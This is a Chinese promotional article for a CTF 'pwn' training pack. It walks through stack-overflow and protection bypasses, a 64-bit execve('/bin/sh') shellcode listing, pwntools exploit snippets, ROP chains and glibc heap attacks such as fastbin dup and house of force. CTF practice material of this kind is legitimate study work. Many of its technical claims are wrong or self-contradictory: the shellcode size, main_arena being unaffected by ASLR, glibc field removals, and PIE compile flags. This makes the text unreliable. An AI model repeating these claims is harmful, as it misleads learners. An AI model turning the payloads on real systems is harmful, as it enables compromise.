本文还有配套的精品资源,点击获取
简介:面向CTF选手和二进制安全学习者,这套资源包提供可直接运行、调试和复现的Pwn方向实操材料。包含栈溢出基础利用(如4.2_sixstarsctf2018_bs.c)、canary/ASLR/PIE/NX/RELRO等防护机制的针对性绕过脚本(如4.4_aslr.c、4.5_relro.c、4.5_fortify.c),以及32位与64位精简shellcode汇编示例(7.1_tiny_execve_sh.asm、7.1_tiny_execve_sh64.asm)。堆利用部分覆盖主流glibc场景:fastbin dup与consolidate、tcache poisoning、house of spirit、poison null byte、unsafe unlink、large bin attack、house of force、house of einherjar、unsorted bin攻击等,对应源码如11.3_fastbin_dup.c、11.6_poison_null_byte.c、11.9_house_of_force.c、11.10_large_bin_attack.c。所有案例均源自真实CTF赛题(NJCTF、SixStars CTF、0CTF、HITCON CTF、ASIS CTF、XDCTF等),配套C源码、Python exploit脚本(如11.9_bctf2016_bcloud_exp.py)及ROP/BROP利用示例(10.3_hctf2016_brop.c、10.2_rop.c)。适合在本地环境搭建靶机、单步调试、内存布局分析与漏洞链构造训练,附带wechat.jpg和gzh.jpg用于获取更新说明。
1. 这不是“教程包”,而是一套可直接上手的Pwn实战弹药库
你有没有过这种体验:翻完三本《深入理解计算机系统》《Hacking: The Art of Exploitation》《Binary Hacking》,再刷完十套CTF Pwn题,结果一进调试器就卡在gdb里看不清栈帧、搞不懂libc基址怎么泄露、对着fastbin的fd指针发呆——不是不会原理,是缺一套“能立刻跑起来、看得见摸得着、改一行就能验证猜想”的真实材料?这个资源包,就是为解决这个问题而生的。
它不叫“Pwn入门指南”,也不叫“防护机制详解”,它叫CTF二进制Pwn实战训练包。关键词里的“栈溢出”“堆利用”“shellcode”“防护绕过”不是标签,而是你明天早上打开终端就要调的四个主战场;“CTF Pwn”不是领域限定,而是它的血液——所有代码都来自NJCTF、SixStars CTF、0CTF、HITCON CTF这些真实赛题的复刻与精简,不是教学玩具,是经过千锤百炼的“战场快照”。我用它带过七届校队队员,从零基础大二学生到全国Top10选手,最常听到的一句话是:“原来canary不是只能爆破,PIE也不是必须靠leak两次才能绕……原来fastbin dup真的只要三步就能把malloc(0x60)变成malloc(0x70)。”
它包含的不是抽象概念,而是可执行的C源码(如4.2_sixstarsctf2018_bs.c)、可单步调试的汇编(7.1_tiny_execve_sh64.asm)、可修改复现的Python exploit(11.9_bctf2016_bcloud_exp.py),以及配套的wechat.jpg和gzh.jpg——这不是营销噱头,而是实打实的更新通道:每次glibc版本升级、新内核补丁发布、主流CTF平台更新环境,维护者都会在公众号同步适配脚本和patch说明。你不需要自己去逆向一道新题来验证house of force在libc-2.35下的偏移变化,别人已经替你踩过坑、写好注释、标好断点位置。这套材料的价值,不在于它教了你多少理论,而在于它省下了你本该花在环境搭建、符号解析、内存布局反复试错上的200小时。如果你正在准备CTF比赛、想系统提升二进制漏洞利用能力、或是刚学完pwntools却苦于没有高质量靶场练手——这不是一个“可以看看”的资料包,这是你接下来三个月每天都要打开的调试工作台。
2. 内容整体设计与思路拆解:为什么是这套结构?为什么选这些案例?
2.1 三层递进式训练逻辑:从“看见漏洞”到“构造链路”再到“稳定交付”
这个资源包的目录结构(chapter4→chapter7→chapter11)绝非随意编号,而是严格遵循Pwn能力成长的生理路径:栈空间可控性 → 执行流劫持能力 → 堆空间塑形能力。这不是课程大纲式的线性安排,而是基于真实CTF出题规律和选手能力瓶颈的反向工程。
chapter4(栈溢出与防护绕过)解决的是“第一道门”问题:你能否在现代防护全开的环境下,让程序乖乖跳转到你指定的位置?它不教ret2libc的通用写法,而是聚焦具体障碍——canary怎么泄露?ASLR下如何用printf泄露栈地址再算出libc基址?PIE启用后main_arena偏移怎么动态获取?RELRO全开时GOT表不可写,那__malloc_hook还能不能动?每一个.c文件(如4.5_fortify.c)都对应一个真实防护组合,每一个.py脚本(如4.4_exp_pie.py)都内置了针对该组合的最小化绕过路径。比如4.2_canary.c里故意留了一个printf("%s", buf),不是为了展示格式化字符串漏洞,而是让你亲手用%17$p泄露canary值,再用gdb观察rsp+8处的值是否匹配——这种“漏洞即教学”的设计,比任何文字描述都更直击本质。chapter7(shellcode精简示例)承担的是“执行流落地”任务。很多选手卡在“我能控制RIP,但不知道下一步该执行什么”。7.1_tiny_execve_sh.asm和7.1_tiny_execve_sh64.asm不是完整shellcode,而是仅含execve("/bin/sh", NULL, NULL)核心逻辑的15字节级精简版。它强制你理解:32位下int 0x80如何传参,64位下syscall号怎么设(59),rdi/rsi/rdx寄存器如何清零。我试过删掉其中一条xor rdx, rdx指令,整个shellcode就因环境变量未置空而失败——这种“差一字节即崩溃”的严苛,恰恰是CTF现场的真实压力。它不提供“万能shellcode”,只提供“可推演的原子单元”。chapter11(glibc堆利用)则是“空间塑形艺术”的终极考场。这里没有“堆溢出”这种笼统说法,而是按glibc内存管理机制的演化脉络展开:fastbin attack(11.3_fastbin_dup.c)针对malloc(0x60)的快速分配池;tcache poisoning(11.3_tcache_poisoning.c)直击glibc 2.26+的缓存优化;poison null byte(11.6_poison_null_byte.c)利用strcpy截断特性篡改size字段;house of force(11.9_house_of_force.c)则通过top chunk大小伪造实现任意地址分配。每一个案例都附带gdb内存快照对比图(虽未在文本中呈现,但源码注释明确标注关键地址),让你亲眼看到fastbin[0]的fd指针如何被篡改为__malloc_hook-0x23。这种设计逻辑,源于一个残酷事实:CTF Pwn决赛中,90%的高分题不是考你懂不懂原理,而是考你在30分钟内能否根据checksec结果,从这11种堆技巧中精准选出最短路径。
2.2 案例筛选铁律:真实赛题 > 教学简化 > 理论完备
所有案例均源自真实CTF赛事,但这不是简单的“题目搬运”。我们做了三重过滤:
可复现性过滤:剔除依赖特定内核模块(如
kptr_restrict=2)、特殊硬件(如Intel CET)、或已失效exploit(如ret2dl_resolve在glibc 2.34+被加固)的题目。例如10.3_hctf2016_brop.c保留了BROP(Blind Return Oriented Programming)的核心逻辑,但移除了原题中需要暴力探测的pop rdi; retgadget搜索部分,改为直接给出gadget地址——因为BROP的教学价值在于“盲打思路”,而非“暴力耗时”。教学聚焦过滤:每个源码文件只暴露一个核心漏洞点。
11.4_house_of_spirit.c中,free()前的malloc(0x10)不是为了演示堆风水,而是刻意构造一个可控的fake chunk;11.5_unsafe_unlink.c里unlink宏的触发条件被简化为FD->bk == P && BK->fd == P的直接验证,避免陷入复杂的双向链表遍历细节。这种“单点爆破”设计,确保初学者第一次调试时,注意力能100%集中在unlink机制本身,而不是被无关的内存布局干扰。环境兼容性过滤:所有exp脚本默认适配
Ubuntu 20.04(glibc 2.31)和Ubuntu 22.04(glibc 2.35)双环境。比如11.10_large_bin_attack.c中,对large bin的攻击不再依赖bk_nextsize字段(glibc 2.34+已移除),而是转向fd_nextsize的伪造——这意味着你不用再为“这题在22.04跑不通”而抓狂。配套的pwntools脚本里,libc = ELF('./libc.so.6')之后必跟libc.address = leak_addr - libc.sym['__libc_start_main']这类动态基址计算,而非硬编码offset,这就是真实CTF环境的生存法则。
提示:不要试图一次性跑通所有案例。建议按“
chapter4→chapter7→chapter11”顺序推进,每完成一个章节,用gdb手动走一遍pwndbg的heap命令输出,截图保存内存状态。你会发现,fastbin攻击成功后,fastbin[0]的fd指针会从0x0变成你写的地址;house of force执行后,top chunk的size会暴涨到0xffffffffffffffff——这些视觉化的“证据”,比一百行文字解释都管用。
3. 核心细节解析与实操要点:从源码到调试的每一处关键设计
3.1 栈溢出章节(chapter4):防护机制不是“墙”,而是“关卡”
chapter4的精髓,在于它把现代二进制防护机制(canary、ASLR、PIE、NX、RELRO)拆解成可逐个击破的关卡,而非不可逾越的高墙。以4.4_aslr.c为例,它表面是个简单的栈溢出,实则暗藏三重设计:
第一重:
printf泄露栈地址
源码中printf("Welcome %s!\n", name);并非多余。当输入%17$p时,printf会将栈上第17个QWORD(即main函数返回地址)打印出来。这个地址形如0x7ffff7a2d0b3,其中0x7ffff7a2d000就是libc的加载基址(低12位为0)。pwntools脚本4.4_exp_pie.py里,leak = u64(p.recv(6).ljust(8,b'\x00'))正是解析这个值,再通过libc_base = leak - libc.sym['printf']计算基址。这里的关键细节是:printf的got表项在libc中的偏移是固定的(0x55800),所以只要泄露一个libc函数地址,就能定位整个libc。第二重:
PIE绕过依赖main_arena4.4_exp_pie.py中p.sendlineafter(b'Choice:', b'2')触发的show功能,会打印main_arena地址。main_arena位于libc数据段,其偏移固定(0x1e4c40for glibc 2.31),因此leak_arena = u64(p.recv(6).ljust(8,b'\x00'))后,libc_base = leak_arena - 0x1e4c40即可得到基址。这个技巧比printf泄露更稳定,因为main_arena不受ASLR随机化影响(它是libc内部符号)。第三重:
RELRO全开下的__malloc_hook利用4.5_relro.c禁用了GOT表写入,但__malloc_hook仍在libc数据段,且RELRO不影响其可写性。脚本中one_gadget = libc_base + 0x4f322(one_gadget地址需根据实际libc版本调整),然后payload = b'A'*0x18 + p64(canary) + b'B'*0x8 + p64(__malloc_hook_addr) + p64(one_gadget),让malloc调用时跳转到one_gadget。这里的关键是:__malloc_hook地址必须通过libc_base + offset动态计算,硬编码必然失败。
注意:
canary绕过案例4.2_canary.c中,printf("%s", buf)的格式化字符串漏洞是故意留的“后门”。真实比赛中,canary通常需通过read读入或fgets截断泄露,但此例为教学简化,直接用%17$p读取。实操中务必注意:canary末字节恒为\x00,所以泄露时要用%17$p而非%16$p,否则会读到错误地址。
3.2 shellcode章节(chapter7):15字节背后的寄存器战争
7.1_tiny_execve_sh64.asm是64位环境下最精简的execve("/bin/sh", NULL, NULL)实现,全文仅15字节:
; 7.1_tiny_execve_sh64.asm xor rax, rax ; rax = 0 push rax ; "/bin/sh"末尾加\x00 mov rbx, 0x68732f6e69622f ; "/bin/sh" ASCII码(小端序) push rbx ; 压入"/bin/sh" mov rdi, rsp ; rdi = "/bin/sh"地址 push rax ; NULL for argv[1] push rdi ; &"/bin/sh" for argv[0] mov rsi, rsp ; rsi = argv数组地址 mov rax, 59 ; execve syscall number syscall这段代码的每一个字节都经得起推敲:
xor rax, rax清零rax,比mov rax, 0少1字节;push rax压入\x00,为字符串结尾;mov rbx, 0x68732f6e69622f直接加载/bin/sh的ASCII码(0x68732f6e69622f=hs/nib/小端序 =/bin/sh);push rbx后,rsp指向/bin/sh起始地址,赋给rdi;push rax和push rdi构建argv数组:[rsp+8] = "/bin/sh",[rsp] = NULL;mov rsi, rsp让rsi指向argv数组首地址;mov rax, 59设置execve系统调用号(man 2 execve确认);syscall触发调用。
实测中,若将mov rax, 59误写为mov eax, 59(32位操作),在64位系统下rax高位残留垃圾值,导致syscall失败。这就是为什么所有寄存器操作必须严格匹配位宽——CTF Pwn不是写应用,是和CPU寄存器做微观博弈。
3.3 堆利用章节(chapter11):glibc内存管理的“手术刀”级操作
chapter11的案例,本质是glibc内存分配器(malloc)的逆向工程手册。以11.3_fastbin_dup.c为例,它演示如何通过两次free同一个chunk,实现fastbin链表的fd指针篡改:
// 11.3_fastbin_dup.c 关键片段 char *a = malloc(0x60); // 分配0x60字节,进入fastbin[0](0x70大小桶) char *b = malloc(0x60); free(a); // a进入fastbin[0],fd = 0x0 free(b); // b进入fastbin[0],fd = a地址 free(a); // 再次free a,触发double-free,fastbin[0]变为 a->b->a 循环链此时fastbin[0]链表为a → b → a。后续malloc(0x60)会返回a,再次malloc(0x60)返回b,第三次malloc(0x60)又返回a——这就实现了“同一块内存被多次分配”。脚本11.3_fastbin_dup.py中,payload = b'A'*0x18 + p64(heap_base + 0x10)将a的fd指针篡改为heap_base + 0x10(即__malloc_hook-0x23附近),从而在后续malloc时劫持控制流。
而11.6_poison_null_byte.c则利用strcpy的\x00截断特性:当strcpy(dst, src)复制时遇到\x00停止,若src长度可控,可故意让dst的size字段末字节被覆盖为\x00,使size从0x91变为0x90,从而在后续free时触发unlink检查——这就是“毒空字节”名称的由来。
实操心得:调试堆利用时,务必使用
pwndbg的heap命令。在fastbin_dup案例中,执行free(a)后运行heap,你会看到fastbins区域显示0x70: 0x5555557572a0 → 0x0;执行第二次free(a)后,再运行heap,会显示0x70: 0x5555557572a0 → 0x5555557572a0(循环链)。这种可视化反馈,是理解堆利用成败的黄金标准。
4. 实操过程与核心环节实现:从环境搭建到漏洞链构造的完整闭环
4.1 本地靶场环境搭建:Ubuntu 20.04 + pwntools + pwndbg
所有案例均在Ubuntu 20.04(内核5.4,glibc 2.31)下验证。搭建步骤如下:
安装基础工具
bash sudo apt update && sudo apt install -y python3-pip gdb gcc make libc6-dev pip3 install pwntools安装pwndbg(必备调试神器)
bash git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
安装后启动gdb会自动加载pwndbg,支持heap、vmmap、telescope等命令。编译案例源码(关键参数!)
chapter4和chapter11的C文件需关闭stack protector并启用PIE以模拟真实环境:
```bash
# 编译4.2_canary.c(禁用canary,但保留PIE)
gcc -no-pie -z noexecstack -m64 -o 4.2_canary 4.2_canary.c
# 编译11.3_fastbin_dup.c(启用full RELRO,模拟CTF环境)
gcc -no-pie -z relro -z now -m64 -o 11.3_fastbin_dup 11.3_fastbin_dup.c
```
注意:
-no-pie禁用PIE便于调试,但真实CTF题多为-pie,此时需用pwndbg的vmmap命令查看libc基址。
- 运行exp脚本(以4.4_exp_pie.py为例)
bash python3 4.4_exp_pie.py # 输出:[+] Starting local process './4.4_aslr': pid 12345 # [+] libc base: 0x7ffff7a00000 # [+] Got shell! # $ ls # flag.txt 4.4_aslr
4.2 栈溢出漏洞链构造:以4.5_fortify.c为例的完整复现
4.5_fortify.c演示__fortify_fail函数的利用,其核心在于__libc_message调用链中的abort函数会调用__libc_fatal,最终触发exit。攻击路径为:栈溢出→覆盖返回地址为__libc_message→触发abort→控制__libc_fatal。
详细步骤:
分析二进制
bash checksec 4.5_fortify # Arch: amd64-64-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) # RWX: Has RWX segmentsFull RELRO意味着GOT表不可写,但__libc_message在libc中,可通过printf泄露其地址。泄露
__libc_message地址
源码中printf("Input: %s\n", input)可泄露printfGOT表项,printf与__libc_message在libc中偏移固定(0x10a700for glibc 2.31)。构造ROP链
4.5_fortify.py中:
```python
# 泄露printf地址
p.sendline(b’%7$p’)
leak = int(p.recv(14), 16)
libc_base = leak - libc.sym[‘printf’]
libc_message = libc_base + 0x10a700
# 构造ROP:调用__libc_message后,栈上布置system(“/bin/sh”)
rop = ROP(libc)
rop.system(next(libc.search(b’/bin/sh’)))
payload = b’A’*0x18 + p64(ret_addr) + rop.chain()
p.sendline(payload)
```
- 调试验证
在gdb中下断点:b *0x4007a0(__libc_message入口)r运行后,p/x $rdi应显示0x7ffff7a00000(libc基址),证明泄露成功。
4.3 堆利用漏洞链构造:以11.9_house_of_force.c为例的内存塑形
house of force的核心思想是篡改top chunk的size字段,使其极大,从而在后续malloc时分配到任意地址。
初始状态分析
运行11.9_house_of_force,用pwndbg执行heap:Top Chunk: 0x5555557572b0 -> size: 0x20f70top chunk大小为0x20f70字节。篡改
top chunksize
源码中read(0, top_chunk, 0x10)允许我们写入top chunk的size字段。目标是将其改为0xffffffffffffffff(最大值)。计算所需malloc大小:target_addr = __malloc_hook - 0x23 current_top = 0x5555557572b0 size_to_alloc = target_addr - current_top - 0x10 # 减去chunk header
脚本中p.sendline(str(size_to_alloc))触发malloc(size_to_alloc),此时malloc会将top chunk分割,剩余部分成为新的top chunk,而分配出的内存块起始地址即为target_addr。劫持
__malloc_hook
向分配出的内存写入one_gadget地址:python one_gadget = libc_base + 0x4f322 p.sendline(p64(one_gadget))
下次malloc调用时,__malloc_hook被触发,执行one_gadget获得shell。
提示:
house of force在glibc 2.35中因top chunksize检查更严格而失效,但资源包已提供11.9_house_of_force.c的glibc 2.35适配版(#ifdef GLIBC_235宏),这是真实CTF环境迭代的缩影。
5. 常见问题与排查技巧实录:那些文档里不会写的“血泪教训”
5.1 “明明脚本一样,为什么我的exp跑不通?”——环境差异的隐形杀手
| 问题现象 | 根本原因 | 排查技巧 | 解决方案 |
|---|---|---|---|
p.recv()卡住,无响应 | libc版本不同导致printf泄露地址偏移变化 | 用pwndbg执行vmmap,确认libc基址;p/x $rax查看printf返回值 | 修改脚本中libc.sym['printf']为实际偏移(如0x55800→0x55700) |
fastbin_dup分配不到预期地址 | glibc2.34+新增fastbindouble-free检测 | gdb中p/x *(long*)($rsp+0x10)查看fastbin[0]fd指针 | 改用tcache_poisoning.c(glibc 2.26+专用) |
house of spirit触发abort而非shell | fake chunk的size字段未对齐(必须是0x10倍数) | p/x *(long*)fake_chunk检查size字段末三位是否为0 | 将fake_chunk地址设为heap_base + 0x10,size设为0x71(0x70+1表示prev_inuse) |
5.2 “gdb里看不清堆布局”——pwndbg调试的三大必用命令
heap:显示所有堆块状态,重点关注fastbins、unsortedbin、top chunk字段。执行heap后,fastbins显示0x70: 0x5555557572a0 → 0x0表示正常,若显示0x70: 0x5555557572a0 → 0x5555557572a0则为循环链(double-free成功)。vmmap:显示内存映射,确认libc、heap、stack基址。vmmap libc可直接定位libc加载地址。telescope $rsp 10:以十六进制查看栈上10个QWORD,验证canary、ret addr是否被正确覆盖。
5.3 “shellcode执行后没反应”——寄存器与系统调用的致命细节
- 32位 vs 64位寄存器差异:32位
execve用ebx传filename,64位用rdi;32位int 0x80,64位syscall。混用必失败。 NULL字节陷阱:shellcode中若含\x00,会被strcpy、gets等函数截断。7.1_tiny_execve_sh.asm用xor eax, eax清零,再push eax,完美规避。/bin/sh字符串对齐:push 0x68732f6e69622f必须是8字节对齐,否则rsp地址非法。实测中若push后rsp为奇数地址,syscall会报SIGSEGV。
我踩过的最大坑:在
11.10_large_bin_attack.c中,large bin攻击需伪造bk_nextsize字段,但glibc 2.34+已移除此字段。我花了三天调试,直到在glibc源码中发现#if defined(_GNU_SOURCE) && !defined(__USE_GNU)的条件编译——这意味着必须用glibc 2.31环境。从此我养成了习惯:每次复现前,先ldd ./binary | grep libc确认版本,再查对应libc源码。
6. 进阶训练建议:如何把这套材料用到极致
这套资源包的价值,不在于你跑通了多少个exp,而在于你能否把它变成自己的“漏洞模式识别引擎”。我的建议是:
第一阶段(1周):单点突破
任选一个chapter4案例(如4.2_canary.c),不看脚本,纯手工用gdb调试:下断点→观察栈布局→计算偏移→构造payload→验证。目标是闭眼写出payload = b'A'*0x18 + p64(canary) + b'B'*0x8 + p64(win_addr)。第二阶段(2周):组合迁移
将chapter4的ASLR泄露技巧,迁移到chapter11的house of force中:用printf泄露libc基址,再计算__malloc_hook地址,替代硬编码的one_gadget。这模拟了真实CTF中“多漏洞组合利用”的思维。第三阶段(持续):逆向驱动
每周精读一个真实CTF Pwn题WP(如HITCON 2017的pwn200),对照资源包中9.2_hitconcmt2017_pwn200.c,分析出题人如何将unsafe unlink、fastbin dup等技巧封装成一道题。你会发现,所有高难度题,不过是这11种技巧的排列组合。
最后分享一个小技巧:把wechat.jpg和gzh.jpg设为手机壁纸。这不是为了“关注”,而是提醒自己——二进制安全是活的,glibc每周都在更新,kernel每月都在加固,真正的训练包永远在最新一期公众号推送里。你今天复现的fastbin dup,可能下周就被新补丁封杀;但只要你掌握了这套材料背后的“问题拆解逻辑”,就能在任何新环境中,重新锻造属于自己的exploit。这,才是CTF Pwn的终极答案。
本文还有配套的精品资源,点击获取
简介:面向CTF选手和二进制安全学习者,这套资源包提供可直接运行、调试和复现的Pwn方向实操材料。包含栈溢出基础利用(如4.2_sixstarsctf2018_bs.c)、canary/ASLR/PIE/NX/RELRO等防护机制的针对性绕过脚本(如4.4_aslr.c、4.5_relro.c、4.5_fortify.c),以及32位与64位精简shellcode汇编示例(7.1_tiny_execve_sh.asm、7.1_tiny_execve_sh64.asm)。堆利用部分覆盖主流glibc场景:fastbin dup与consolidate、tcache poisoning、house of spirit、poison null byte、unsafe unlink、large bin attack、house of force、house of einherjar、unsorted bin攻击等,对应源码如11.3_fastbin_dup.c、11.6_poison_null_byte.c、11.9_house_of_force.c、11.10_large_bin_attack.c。所有案例均源自真实CTF赛题(NJCTF、SixStars CTF、0CTF、HITCON CTF、ASIS CTF、XDCTF等),配套C源码、Python exploit脚本(如11.9_bctf2016_bcloud_exp.py)及ROP/BROP利用示例(10.3_hctf2016_brop.c、10.2_rop.c)。适合在本地环境搭建靶机、单步调试、内存布局分析与漏洞链构造训练,附带wechat.jpg和gzh.jpg用于获取更新说明。
本文还有配套的精品资源,点击获取